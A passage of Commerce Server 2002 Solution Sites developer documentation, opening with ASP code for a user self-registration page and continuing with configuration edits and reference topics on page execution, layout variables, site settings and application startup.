         ' Store the ticket in URL.
         m_iTicketLocation = 1
      End If

      Response.Redirect(GenerateURL(MSCSSitePages.Home, Array(), Array()))
   End If

   If iErrorLevel = 0 Then
      If dictConfig.i_SiteTicketOptions = PUT_TICKET_IN_COOKIE Then
         Call SetTestCookie("session_cookie")
      End If
   End If
End Sub

' -----------------------------------------------------------------------------
' bRegistrationPageNotAvailable
'
' Description:
'   Helper function to determine if the Registration Page is available or not
'
' Parameters:
'
' Returns:
'   Boolean   (True: Page is NOT available; False: Page IS available)
' Notes :
'   none
' -----------------------------------------------------------------------------
Function bRegistrationPageNotAvailable()
   bRegistrationPageNotAvailable = (dictConfig.i_SiteRegistrationOptions = REGISTRATION_NOT_SUPPORTED) Or _
      (dictConfig.i_FormLoginOptions = FORM_LOGIN_NOT_SUPPORTED) Or (dictConfig.i_FormLoginOptions = USE_IIS_AUTH)
End Function

' -----------------------------------------------------------------------------
' iValidateSubmittedRegistrationData
'
' Description:
'   Logs off the user and fills in parameters to pass on to htmRenderLogoffPage
'
' Parameters:
'   listFlds            - SimpleList object with field names
'   dictFldVals            - Dictionary with field values
'   dictFldErrs            - Dictionary with field errors, in case of bad
'                        form input
'   listFrmErrs            - SimpleList object with form errors
'
' Returns:
'   Error Level; 0 if all OK
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function iValidateSubmittedRegistrationData(listFlds, dictFldVals, dictFldErrs, listFrmErrs)
   Dim iErrorLevel, rsUser

   iErrorLevel = 0

   ' Perform field-level validation.
    Set dictFldErrs = GetFieldsErrorDictionary(listFlds, dictFldVals)

   If dictFldErrs.Count > 0 Then
      iErrorLevel = 1
   Else
      ' Does the logon_name already exist?
      ' Set rsGetProfile's bForceDBLookUp to True to force a database look-up.
      Set rsUser = rsGetProfile(dictFldVals.Value(LOGON_NAME), PROFILE_TYPE_USER, True)

      If Not rsUser Is Nothing Then
         Set dictFldErrs = GetDictionary()
         dictFldErrs.Value(LOGON_NAME) = mscsMessageManager.GetMessage("L_UserName_In_Use_ErrorMessage", sLanguage)
         iErrorLevel = 1
      End If

      If iErrorLevel = 0 Then
         If StrComp(dictFldVals.Value(LOGON_PASSWORD), dictFldVals.Value(CONFIRM_PASSWORD), vbBinaryCompare) <> 0 Then
            Set dictFldErrs = GetDictionary()
            dictFldErrs.Value(CONFIRM_PASSWORD) = mscsMessageManager.GetMessage("L_Bad_Confirm_Password_ErrorMessage", sLanguage)
            iErrorLevel = 1
         End If
      End If
   End If

   iValidateSubmittedRegistrationData = iErrorLevel
End Function

' -----------------------------------------------------------------------------
' mscsNewRegisteredUserProfile
'
' Description:
'   Generates new User Profile object, fills it in (i.e. registers the user)
'   and returns it.
'
' Parameters:
'   sLoginName               - Login name of the new user
'   sLoginPassword            - Login password of the new user
'
' Returns:
'   User Profile Object of new user
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function mscsNewRegisteredUserProfile(ByVal sLoginName, ByVal sLoginPassword)
   Dim mscsUser

   Set mscsUser = MSCSProfileService.CreateProfile(sLoginName, PROFILE_TYPE_USER)
   mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, USER_ID)).Value = MSCSGenID.GenGUIDString
   mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, MODIFIED_BY)).Value = sLoginName
   mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, LOGON_PASSWORD)).Value = sLoginPassword
   mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, PROFILE_TYPE)).Value = REGISTERED_PROFILE

   '
   ' Begin SupplierAD
   '

   ' Const for Active User in AD
   Const AD_USER_ACTIVE = 512

   ' Required by AD to be unique
   mscsUser.Fields("ProfileSystem.sAM_Account_Name").Value = sLoginName

   ' user_account_control must be set, otherwise account is created as disabled.
   mscsUser.Fields("ProfileSystem.user_account_control").Value = cLNG(AD_USER_ACTIVE)

   '
   ' End SupplierAD
   '

   mscsUser.Fields(GetQualifiedName(ACCOUNT_INFO_GROUP, ACCOUNT_STATUS)).Value = ACCOUNT_ACTIVE
   mscsUser.Fields(GetQualifiedName(ACCOUNT_INFO_GROUP, DATE_REGISTERED)).Value = Now()

   mscsUser.Fields(GetQualifiedName(BUSINESS_DESK_GROUP, FIELD_USER_PARTNERDESK_ROLE)).Value = ROLE_USER

   mscsUser.Fields(GetQualifiedName(PROFILE_SYSTEM_GROUP, DATE_CREATED)).Value = Now()
   Call UpdateUserProfile(mscsUser)   '   handles DATE_UPDATED
   Set mscsNewRegisteredUserProfile = mscsUser
End Function

' -----------------------------------------------------------------------------
' mscsTransferGuestUserProfile
'
' Description:
'   If there's a currently active user, update the data in his User Profile
'   Object with the "new user" data; if there isn't a currently active user,
'   generate a new profile.
'
' Parameters:
'   sLoginName               - Login name of the new user
'   sLoginPassword            - Login password of the new user
'
' Returns:
'   User Profile Object of new user
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function mscsTransferGuestUserProfile(ByVal sLoginName, ByVal sLoginPassword)
   Dim mscsUser

   Set mscsUser = GetCurrentUserProfile()
   If mscsUser Is Nothing Then
      Set mscsUser = mscsNewRegisteredUserProfile(sLoginName, sLoginPassword)
   Else
      mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, LOGON_NAME)).Value = sLoginName
      mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, LOGON_PASSWORD)).Value = sLoginPassword
      mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, MODIFIED_BY)).Value = sLoginName
      mscsUser.Fields(GetQualifiedName(GENERAL_INFO_GROUP, PROFILE_TYPE)).Value = REGISTERED_PROFILE

      mscsUser.Fields(GetQualifiedName(ACCOUNT_INFO_GROUP, ACCOUNT_STATUS)).Value = ACCOUNT_ACTIVE
      mscsUser.Fields(GetQualifiedName(ACCOUNT_INFO_GROUP, DATE_REGISTERED)).Value = Now()

      Call UpdateUserProfile(mscsUser)
   End If

   Set mscsTransferGuestUserProfile = mscsUser
End Function

' -----------------------------------------------------------------------------
' Rendering functions
' -----------------------------------------------------------------------------

' -----------------------------------------------------------------------------
' htmRenderNewUserPage
'
' Description:
'   Render all page output
'
' Parameters:
'   Identical to PrepareNewUserPage
'
' Notes :
'   none
' -----------------------------------------------------------------------------
Function htmRenderNewUserPage(urlAction, dictFldVals, dictFldErrs, sLanguage)
Dim sPageTitle, htmContent, htmTitle
   sPageTitle = mscsMessageManager.GetMessage("L_Registration_HTMLTitle", sLanguage)
   htmContent = htmRenderFillOutForm(urlAction, "Registration", dictFldVals, dictFldErrs)
   htmTitle = RenderText(sPageTitle, MSCSSiteStyle.Title) & CRLF
   htmRenderNewUserPage = htmTitle & CRLF & htmContent
End Function
%>

Edit the global_siteconfig_lib.asp file

You must verify that the dictpages.newuser argument in the wwwroot\supplierad\include\global_siteconfig_lib.asp file points to the location of the newuser.asp file that you created in the Create the newuser.asp file topic.

Search for the following text string in \include\global_siteconfig_lib.asp:

dictPages.NewUser

Replace the text string above, with the following text:

dictPages.NewUser = "authfiles/newuser.asp"

Edit the login.asp file

If your Web server and domain controller are installed on different computers, before you perform the steps listed below, you must have previously updated your login.asp file following the instructions in the topic Login.asp Code for the Supplier Solution Site. You can then update the self-registration link contained in the login.asp file, which is located in the wwwroot\supplierad\authfiles directory.

Search for the following text string in the \authfiles\login.asp file:

<A HRef="register.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user (need to add this registration file)</A>

If your authfiles\login.asp file has not been updated as described in the topic Login.asp Code for the Supplier Solution Site, search for the following text instead:

<A HRef="newuser.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user(solution sites: need to add own registration file under '\AuthFiles\' sub-Dir Or Copy ..\Retail\login\newuser.asp & update NewUser-File in Global.asa)</A>

Replace the text listed above with the following text:

<A Href="newuser.asp" ID=L_RegisterIF_HTMLText>Click Here to Register</A>

Proceed to Restart IIS.

See Also

Installing the Sample Supplier Site.

Login.asp Code for the Supplier Solution Site

Restart IIS

After changing your ASP files, you must restart IIS. For information about restarting IIS, see Restarting IIS and Commerce Server Services.


Solution Site Infrastructure

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites comprise various aspects of a comprehensive infrastructure for building a highly structured and easily maintained commercial Web site. As described in the Solution Site Features topics, the Solution Sites incorporate most of the capabilites of Commerce Server 2002. The code for the Solution Sites has been organized such that the feature implementations share a common infrastructure.

In addition, the Retail and Supplier Solution Sites are implemented as the same set of files, with the differences controlled by configuration settings and corresponding tests in the code. For more information about the files that constitute the Solution Sites, see Solution Sites File Organization.

This section discusses the infrastructure of the Solution Sites.

This section contains:

  • Page Execution Model for Solution Sites. Describes the execution model of the pages in the Solution Sites, which is crucial to understanding how the existing code is structured, and how new code should be written in order to conform to the existing model.
  • Configuration Settings for Solution Sites. Describes the configuration mechanisms that make the Retail and Supplier Solution Sites unique, given that they are based on the same set of files.
  • Initialization of Solution Sites. Describes the processing that occurs when the Web site application starts up. In other words, what processing occurs when the file global.asa is run.
  • Page-Level Access Control for Solution Sites. Describes the authentication scheme used by the Solution Sites, including the various modes in which authentication can be performed.
  • Security Issues for Solution Sites. Describes issues related to the security of the Solution Sites.
  • Caching Solution Sites. Describes the caching techniques employed by the Solution Sites in the interest of improved performance.
  • Constants in Solution Site Applications. Describes the special mechanism used by the Solution Sites that allows the use of a large number of constants with the least performance impact.
  • HTML Construction for Solution Sites. Describes the techniques used in the Solution Sites for constructing the HTML that gets rendered as the pages in the site.
  • Forms Processing for Solution Sites. Describes the forms definition and processing infrastructure used in the Solution Sites.
  • Pipelines for Solution Sites. Describes the pipeline infrastructure used by the Solution Sites.
  • Error Handling for Solution Sites. Describes the error-handling infrastructure used by the Solution Sites, including the built-in differences between DEVELOPMENT and PRODUCTION modes.
  • Utility Routines for Solution Sites. Describes the utility routines used by the existing Solution Sites code, and intended for use in the code you write for any new pages you create. A functional categorization of the routines is provided.


Page Execution Model for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites use a Page Execution Model for Solution Sites that is highly structured and standardized throughout the sites. On a given Web site page, such as basket.asp, all of the standard processing occurs within files that are included on the page. Code to implement the unique aspects of the page occurs within the page itself, implemented within a routine named Main, and within any additional routines included as helper routines to the routine Main. In other words, the routine Main is the entry-point routine for custom processing on a page.

The following figure shows a hypothetical Web site page. The annotations, shown to the right in red, describe the high-level function of various aspects of a standard Solution Site Web page.

Page Execution Model for Solution Sites

The Page Execution Model for Solution Sites is explained in greater detail in the following topics:

  • Include Files for Solution Sites
  • Standard Execution Flow for Solution Sites
  • Custom Execution Flow for Solution Sites
  • Page Layout Variables for Solution Sites
  • Page Layout for Solution Sites

See Also

Page Authoring for Solution Sites

Page Layout Customization for Solution Sites


Include Files for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The types of include files for a standard Solution Sites Web page can be divided into five categories, as follows:

  1. Response header files

    The files include\header.asp and include\txheader.asp contain script that writes the appropriate entries into the response header. One of these two files must be included on a given page. For more information about the differences between these two files, see Including Files in Solution Sites.

  2. Constants file

    The file include\const.asp is empty by default, but exists to provide a place where new constants can be defined. The constants provided with the Solution Sites have been compiled into a type library for improved performance. Depending on the number of new constants you create, it may be beneficial to adopt the same strategy for your new constants.

    For more information about compiled constants and compiling new constants, see Constants in Solution Site Applications.

  3. Utility routine files

    This set of files, most of which begin with the prefix "std_", contain a wide variety of utility routines, organized such that routines with related functions are placed in the same file.

    For example, the file include\html_lib.asp contains numerous functions designed to make the formatting of HTML text easier. It contains routines such as RenderCheckBox and RenderRadioButton, used to render INPUT elements with TYPE attribute values of CHECKBOX and RADIO, respectively.

    Depending on the functionality and implementation of a particular Web page, some of these files can be omitted, thereby improving performance.

    For more information about the utility routines supplied in these files, see Routines Reference.

  4. Page initialization file

    The file include\setupenv.asp is central to the execution of a page. Other than a small amount of script executed in the file header.asp, Web page processing begins in the file setupenv.asp. At the highest level, the processing in this file consists of:

    • Defining several dozen variables for use in the custom code for the page, and initializing most of them.
    • Correcting the URL of the requested page (for example, correcting the pathname case, in cookie mode, in order for cookies to work correctly).
    • Getting user context under which the page is running by calling the routine GetUserInfo.
    • Calling the routine Main, which serves as the entry point for custom processing done for the Web page.
  5. Layout files

    The files template\layout1.asp and template\no_menu.asp define the two basic layouts of all Web pages that conform to the Solution Sites Page Execution Model for Solution Sites. These files contain the high-level HTML tags, including HTML, HEAD, and BODY. Using a combination of include files and the contents of a couple of page layout variables, these short files provide a mechanism for standardizing the layout of all pages on the Web site.

    For more information about the page layout variables, see Page Layout Variables for Solution Sites.

    For more information about how this file controls the layout of the Web site pages that use it, see Page Layout for Solution Sites.

See Also

Page Authoring for Solution Sites

Page Layout Customization for Solution Sites


Standard Execution Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The flow of standard execution within the Solution Sites Page Execution Model for Solution Sites can be understood in terms to the files included on a Web site page. For more information about the different types of include files, see Include Files for Solution Sites.

Processing begins in the first include file, either include\header.asp or include\txheader.asp, in which a small amount of script is executed in order to add some standard response header entries.

The two types of files that are typically included next are the constants file and the utility routine files. Since these files do not contain any global code, that is, code outside of any function or subroutine, they can be included in any order relative to the other include files. The lack of global code in these files means that their inclusion does not necessarily result in any processing. If one or more routines in these files is called, it occurs at a later stage in the execution flow. For more information about when the code in these files enters the flow of execution, see Custom Execution Flow for Solution Sites.

The next include file, include\setupenv.asp, is central to the standard execution flow. This file is responsible for defining and (generally) initializing several dozen variables that can be used further on in the processing. It is also responsible for doing some correction of the URL (by calling the routine CorrectRequest). Finally, it ends by calling the routine Main, which is typically implemented as the first routine following the file inclusions. All custom processing for the page occurs within the Main routine and any routines called from within it.

After the routine Main returns, the HTML and the script in the final include file, either template\layout1.asp or template\no_menu.asp, is processed. All processing up to this point is entirely in script, as the opening HTML element has not yet been encountered. These layout files are mostly HTML, with the exception of a few include files that contain executable script, and the writing of the contents of a couple of page layout variables using the Internet Information Services (IIS) "<%=" directive.

For more information about the details of page layout, and the page layout variables, see Page Layout for Solution Sites and Page Layout Variables for Solution Sites, respectively.

See Also

Custom Execution Flow for Solution Sites


Custom Execution Flow for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

All custom aspects of the standard page execution flow occur within the routine Main. The Main routine is typically implemented as the first routine following include files on a Web site page. Helper routines that are specific to the page are typically found after the Main routine. Helper routines that are useful in a variety of pages are found in the utility routine include files.

The purpose of the Main routine, and its helper routines, is to establish the content to be displayed in a particular content area of the Web page being constructed. Both of the layout files template\layout1.asp and template\no_menu.asp assume that appropriate HTML content has been assigned as a string to the variable htmPageContent. The area of the page in which this content will be rendered is different in the two pages. In the file layout1.asp, the corresponding area is to the right of the menu area, and between the two horizontal rules (HR elements). In the file no_menu.asp, the corresponding area is the full width of the browser window, below the one horizontal rule.

The file layout1.asp also expects that a second content variable, htmDiscountBannerSlot, might also be assigned a string containing HTML content to be displayed in a full-width discount banner area below the second horizontal rule.

This is accomplished by setting two particular string variables to contain the HTML that will render the intended content. The layout files use the Internet Information Services (IIS) "<%=" directive to write the contents of the content variables in the appropriate location within the page layout. For more information about these variables, see Page Layout Variables for Solution Sites.

In addition to establishing the HTML content to be assigned to the appropriate content variables, the routine Main and its subordinate routines need to perform other processing appropriate to the purpose of the page. Often, this involves interaction with one or more databases to retrieve information to be displayed and write new information to be saved (such as information about purchases being made).

The routine Main is also responsible for controlling access to the page by calling either EnsureAccess or EnsureAuthAccess before doing anything else.

See Also

Standard Execution Flow for Solution Sites


Page Layout Variables for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

There are several page layout variables that are referenced from within the two layout files template\layout1.asp and template\no_menu.asp. The routine Main is responsible for setting some of these to appropriate HTML strings. The others are initialized as described below.

  • htmPageContent. This variable, declared in the file include\setupenv.asp, must be set within the routine Main to the HTML string that will result in the rendering of the main content area of the page. If this variable is not set, no content will be displayed in the main content area. If this variable does not contain valid HTML, the displayed content may not be rendered as intended. Therefore, appropriate care must be taken when writing or modifying the code that establishes the value of this variable.

    This content variable is referenced in the layout files template\layout1.asp and template\no_menu.asp.

  • htmDiscountBannerSlot. This variable, declared in the file include\setupenv.asp, may be set within the routine Main to an HTML string designed to display discounts being offered to the user. In the layout file template\layout1.asp the content associated with this variable is displayed below the menu and main content areas, just above the second horizontal rule (HR element). The layout file template\no_menu.asp does not reference this variable.

    Discounts are generally not appropriate for all pages on a Web site, or even for all pages that use the layout file template\layout1.asp. In such cases, the routine Main should leave this variable empty, resulting in nothing being displayed in the discount area of the page.

    Normally, when discounts are to be included on a page, this variable is set to the string returned by the function RenderDiscounts, defined in the include file template\discount.asp. This function runs a Content Selection pipeline to retrieve discount content, potentially targeted to the user and the contents of their basket.

  • dictConfig.s_SiteName. This value is taken directly from the App Default Config settings. The Dictionary object from which this string is retrieved is created in each page by the file include\setupenv.asp using the GetOptionsDictionary method of the AppConfig object stored in the Internet Information Services (IIS) Application object.

    This value is referenced in the layout files template\layout1.asp and template\no_menu.asp.

  • sPageTitle. This variable, declared in the file include\setupenv.asp, should be set within the routine Main to a string intended to be the title of the page (the data associated with the TITLE element).

    This content variable is referenced in the layout files template\layout1.asp and template\no_menu.asp.

For more information about how the HTML strings assigned to these variables are rendered in a standard location within the Web page, see Page Layout for Solution Sites.

See Also

Implementing the Main Subroutine for Solution Sites

Initializing the htmPageContent Variable


Page Layout for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Page layout within the Solution Sites is controlled by HTML code in one of two layout files: template\layout1.asp and template\no_menu.asp.

The file layout1.asp provides a common type of Web page layout, with space for a banner ad at the top, followed by the Web site name, and several navigation links. Below this is the typical side-by-side menu and main content areas, with the latter being the portion of the page that is unique to each page. The bottom portion of the page is used to display discount information, if any, and also includes a footer area.

The file no_menu.asp provides a simpler layout that does not include the navigation links, the menu area, the discount area, or the footer.

Each of the areas on the Web page are controlled by either a specific include file, or by writing out the contents of a specific string variable that was previously initialized when the routine Main was invoked from the file include\setupenv.asp. For more information about how these variables should be initialized, see Custom Execution Flow for Solution Sites and Page Layout Variables for Solution Sites. For more information about the utility routines designed to help you create HTML content, see HTML Construction for Solution Sites.

When required to achieve the layout you want, you should add additional content areas to the existing layout files, and new include files or content variables to supply content for them. When more than two types of page layout are needed, you should create new layout files for the additional layouts you require.

This section contains:

  • Page Layout Using “layout1.asp” for the Retail Solution Site
  • Page Layout Using “no_menu.asp” for the Retail Solution Site


Page Layout Using “layout1.asp” for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the home page of the Retail Solution Site, which uses the layout file template\layout1.asp. It is annotated with the include files and variable names responsible for the display of each separate area of the page. In this figure, the areas associated with the include file template\banner.inc and the variable htmDiscountBannerSlot are both empty. If one or both of them were not empty, the rendered page would use correspondingly more vertical space.

Page layout figure for layout1.asp

From top to bottom and left to right, the areas of the page are controlled as follows:

  • sPageTitle. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • banner.inc. Runs a Content Selection pipeline to choose an appropriate ad for display. For more information, see template\banner.inc.
  • dictConfig.s_SiteName. A string variable that has been initialized within the routine GetAppConfigObject. For more information, see Page Layout Variables for Solution Sites.
  • navbar.inc. Produces an HTML string that will render links to home, catalog, and basket pages. The HTML string is cached when first produced for quicker subsequent retrieval. For more information, see template\navbar.inc.
  • menu.asp. Produces an HTML string that will render the menu area of the Web page, which includes controls to enable searching, links to the catalog, customer service, and so on. For more information, see template\menu.asp.
  • htmPageContent. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • htmDiscountBannerSlot. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • footer.inc. Produces an HTML string that will render copyright text. For more information, see template\footer.inc.

With an understanding of these files, you can create a more sophisticated Web site by creating alternative page layouts, perhaps naming the files that implement them as layout2.asp, layout3.asp, and so on.

See Also

Page Layout Using “no_menu.asp” for the Retail Solution Site

Page Layout Customization


Page Layout Using “no_menu.asp” for the Retail Solution Site

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following figure shows the sign-in page of the Retail Solution Site, which uses the layout file template\no_menu.asp. It is annotated with the include files and variable names responsible for the display of each separate area of the page. In this figure, the area associated with the include file template\banner.inc is empty. If it were not empty, the rendered page would use correspondingly more vertical space.

Page layout figure for no_menu.asp

From top to bottom, the areas of the page are controlled as follows:

  • sPageTitle. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.
  • banner.inc. Runs a Content Selection pipeline to choose an appropriate ad for display. For more information, see template\banner.inc.
  • dictConfig.s_SiteName. A string variable that has been initialized within the routine GetAppConfigObject. For more information, see Page Layout Variables for Solution Sites.
  • htmPageContent. A string variable that has been initialized within the routine Main. For more information, see Page Layout Variables for Solution Sites.

See Also

Page Layout Using “layout1.asp” for the Retail Solution Site

Page Layout Customization


Configuration Settings for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Retail and Supplier Solution Sites have a common code base. The variations in their functionality come from differences in the App Default Config settings and whether the Profiling System stores profiles in SQL Server, Active Directory, or both types of data stores.

This section contains:

  • App Default Config Settings for Solution Sites
  • Profiling System Data Store for Solution Sites
  • INI File Configuration for Solution Sites


App Default Config Settings for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the App Default Config properties and their values for the Retail and Supplier Solution Sites. Properties that are connection strings or computer names are not listed. The Blank Solution Site has identical settings to the Retail site. The items in bold, in the following table, highlight the properties that are used with different values between the two sites. Italicized entries, under the Retail and Supplier headings, are values that depend on the locale where the site is installed.

Property | Retail | Supplier | s_Description
f_AltCurrencyConversionRate | 2 | 2 | Rate used to convert from the base currency to the alternate currency (for example, base currency = 2 x alternate currency).
i_AddItemRedirectOptions | 1 | 1 | Page to be displayed after a user adds an item to the basket: 0 - redirect to the basket page 1 - display the current product page
i_AddressBookOptions | 2 | 2 | Address book feature: 0 - disable 1 - enable and make the address book read-only 2 - enable and make the address book read/write
i_AltCurrencyLocale | 1033 | 1033 | Locale for the alternate currency: 1031 - German 1033 - English 1034 - Spanish 1036 - French 1041 - Japanese
i_AltCurrencyOptions | 0 | 0 | Simultaneous display of base and alternate currencies: 0 - disable 1 - enable
i_AuctionsOptions | 1 | 0 | Auctions: 0 - disable 1 - enable Not used by the Solution Sites.
i_BaseCurrencyLocale | 1033 | 1033 | Locale for the base currency; see the i_AltCurrencyLocale property in this table for valid values.
i_BillingOptions | 0 | 2 | If account billing was specified for the i_PaymentOptions property, this property further specifies billing types. The only option supported is 2 - stand-alone purchase orders. Not used by the Solution Sites.
i_BizTalkOptions | 0 | 0 | Integration with BizTalk Server to exchange documents: 0 - disable 1 - enable
i_CookiePathCorrectionOptions | 1 | 1 | Cookie path correction: 0 - enable 1 - enable application-based correction 2 - enable filter-based correction
i_CurrencyDisplayOrderOptions | 0 | 0 | When simultaneously displaying base and alternate currencies: 0 - display the base currency first 1 - display the alternate currency first
i_DelegatedAdminOptions | 0 | 1 | Partner Services: 0 - disable 1 - enable
i_FormLoginOptions | 6 | 7 | Login requirement; see About the Login Feature for Solution Sites.
i_FormLoginTimeOut | 60 | 60 | Number of minutes after which the ticket times out.
i_HostNameCorrectionOptions | 1 | 1 | Host name correction: 0 - disable 1 - enable
i_PaymentOptions | 1 | 5 | Payment types: 1 - credit card 4 - account billing 5 - both
i_ShipToLevelOptions | 0 | 0 | Shipment level: 1 - shipments made at the purchase order level 2 - shipments allowed at the line item level Not used by the Solution Sites.
i_ShoppingListOptions | 0 | 0 | Shopping lists: 0 - disable 1 - enable Not used by the Solution Sites.
i_SiteDefaultLocale | 1033 | 1033 | Locale for this site; see the i_AltCurrencyLocale property in this table for valid values.
i_SitePrivacyOptions | 1 | 1 | Anonymous users: 1 - profile 2 - profile and track visits
i_SiteRegistrationOptions | 1 | 0 | Self-registration: 0 - disable 1 - enable
i_SiteTicketOptions | 2 | 2 | User ticket location: 1 - in URL query string 2 - in a cookie
s_AltCurrencyCode | EUR | EUR | The ISO 4217 code for the alternate currency.
s_AltCurrencySymbol | EUR | EUR | Symbol for the alternate currency.
s_AnonymousUser DefaultCatalogSet | {11111111-1111-1111- 1111-111111111111} | {11111111-1111-1111- 1111-111111111111} | Default catalog set for an anonymous user.
s_AuthenticatedUser DefaultCatalogSet | {22222222-2222-2222- 2222-222222222222} | {22222222-2222-2222- 2222-222222222222} | Default catalog set for an authenticated user.
s_BaseCurrencyCode | USD | USD | The ISO 4217 code for the base currency.
s_BaseCurrencySymbol | $ | $ | Symbol for the base currency.
s_BizTalkCatalogDocType |  |  | Document definition name required by BizTalk Server to exchange catalogs. Not used by the Solution Sites.
s_BizTalkConnString |  |  | Connection string to the BizTalk Interchange Manager database, which stores messages sent from Commerce Server. Not used by the Solution Sites, but is used in Commerce Server Business Desk.
s_BizTalkOrderDocType |  |  | Document definition name required by BizTalk Server to submit purchase orders (for example, PurchaseOrder). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSourceQualifierID |  |  | Alias qualifier for this site in BizTalk Server (for example, BizTalk). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSourceQualifierValue |  |  | Alias value for this site in BizTalk Server (for example, MySite). The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_BizTalkSubmittypeQueue | 1 | 1 | Submit documents to BizTalk Server: 0 - synchronously 1 - asynchronously The i_BizTalkOptions property must be enabled for this property to be used by the Solution Sites.
s_PageEncodingCharset | windows-1252 | windows-1252 | Document encoding character set for the site (for example, 1252 - Windows).
s_SMTPServerName | TestSMTPServer | TestSMTPServer | Computer name of the SMTP server. Not used by the Solution Sites.
s_WeightMeasure | lbs | lbs | Unit of measure for calculating product shipping costs. Not used by the Solution Sites, but is used in Business Desk.

Related Commerce Server 2002 Help Topics

Administering Commerce Server\Managing Commerce Resources\Configuring App Default Config Resource Properties

See Also

Configuration Settings for Solution Sites

Use of App Default Config Settings in Solution Sites


Profiling System Data Store for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

One of the ways the Solution Sites differ is through the storage mechanism of the Profiling System. The Retail site uses UserObject profiles stored in a SQL Server database. The Supplier site uses UserObject profiles stored in Active Directory.

The Solution Sites check whether UserObject profiles are stored in Active Directory through the IsActiveDirectoryPresent function. This function checks if the UserObject profile definition contains a ParentDN property. The existence of this property signifies the use of Active Directory.

See Also

Configuration Settings for Solution Sites


INI File Configuration for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following table lists the properties contained in the csapp.ini file. By default, the SiteName, AddressKeyName, and RelativeURL properties are set to Retail or Supplier for the respective sites. These values should not be changed except during the unpacking process.

Property | Value | Description
SiteName | Retail or Supplier by default | The name of the site. This appears in the displayed HTML pages and as the name of the Commerce Server site in Commerce Server Manager.
AddressKeyName | Retail or Supplier by default | The name of the application.
RelativeURL | Retail or Supplier by default | The name of the Internet Information Services (IIS) virtual directory for the application relative to the default Web site.
CreatedBy | Author | Author of the site.
CreatedDate | 1999.04.02 00:00:00 | The date the site was created.
Version | 4.5.0000 | The version of Commerce Server 2002 that is being used.

See Also

Configuration Settings for Solution Sites

Initialization of Solution Sites


Initialization of Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

This topic describes the actions taken in the global.asa file to initialize the site when the application starts. It also describes the initialization that occurs on each page due to the common include files.

This section contains:

  • Application Startup for Solution Sites
  • Page Initialization for Solution Sites


Application Startup for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The following initialization actions occur in the global.asa file when the application starts.

Three type libraries are declared as meta-data so that constants declared in these libraries are globally available:

  • CS Apps Constants 1.0 Type Library
  • Microsoft Commerce 2002 Catalog Type Library
  • Microsoft Commerce 2002 Profile Service Type Library

Text box properties are declared.

The environment is set either to PRODUCTION or DEVELOPMENT.

The Main subroutine in the file include\global_main_lib.asp is called. The following table lists the global variables (given Application scope) created in this subroutine, the actions taken when the variable is created, and the routine that supplies the actions.

Variable | Actions | Routine
MSCSActiveDirectoryDomain | If the Profiling System uses Active Directory, the Active Directory domain name is retrieved. | sGetActiveDirectoryDefaultNamingContext
MSCSAdoConnection | An open ActiveX Data Object Database (ADODB) connection to OLE DB Provider for Commerce Server is created. | oGetOpenConnectionObject
MSCSAltCurrencyDisp | The EuroDisplay object is created and initialized for display of alternate currency. | InitAltCurrencyDisp
MSCSAppConfig | The AppConfig object is created. | GetAppConfigObject
MSCSAppFrameWork | The AppFrameWork object is created. | Main
MSCSAuthManager | The AuthManager object is created. | InitAuthManager
MSCSCacheManager | The CacheManager object and caches are created and configured. | InitCacheManager
MSCSCatalogAttribs | Retrieves all the property definitions that exist in the Product Catalog System and places them in a Dictionary object for fast access. | dictGetCatalogAttributes
MSCSCatalogManager | The CatalogManager object is created and initialized. | InitCatalogManager
MSCSCatalogSets | The CatalogSets object is created and initialized. | InitCatalogSets
MSCSCommerceAppName | The application name is retrieved from the config.ini file. | GetINIString
MSCSCommerceSiteName | The site name is retrieved from the config.ini file. | GetINIString
MSCSDataFunctions | The DataFunctions object is created and the locale set. | InitDataFunctions
MSCSExpressionEvaluator | The ExpressionEval object is created and connected to the Expression store. | Main
MSCSForms | Form definitions are retrieved and placed in a Dictionary object. | GetFormDefinitions
MSCSGenID | The GenID object is created. | oGetGenIDObject
MSCSMessageManager | The MessageManager object is created and entries from the rc.xml file are read. | GetMessageManagerObject
MSCSObjectInstances | A SimpleList object and a Dictionary object are created and placed in a Dictionary object. | GetObjectInstanceDictionary
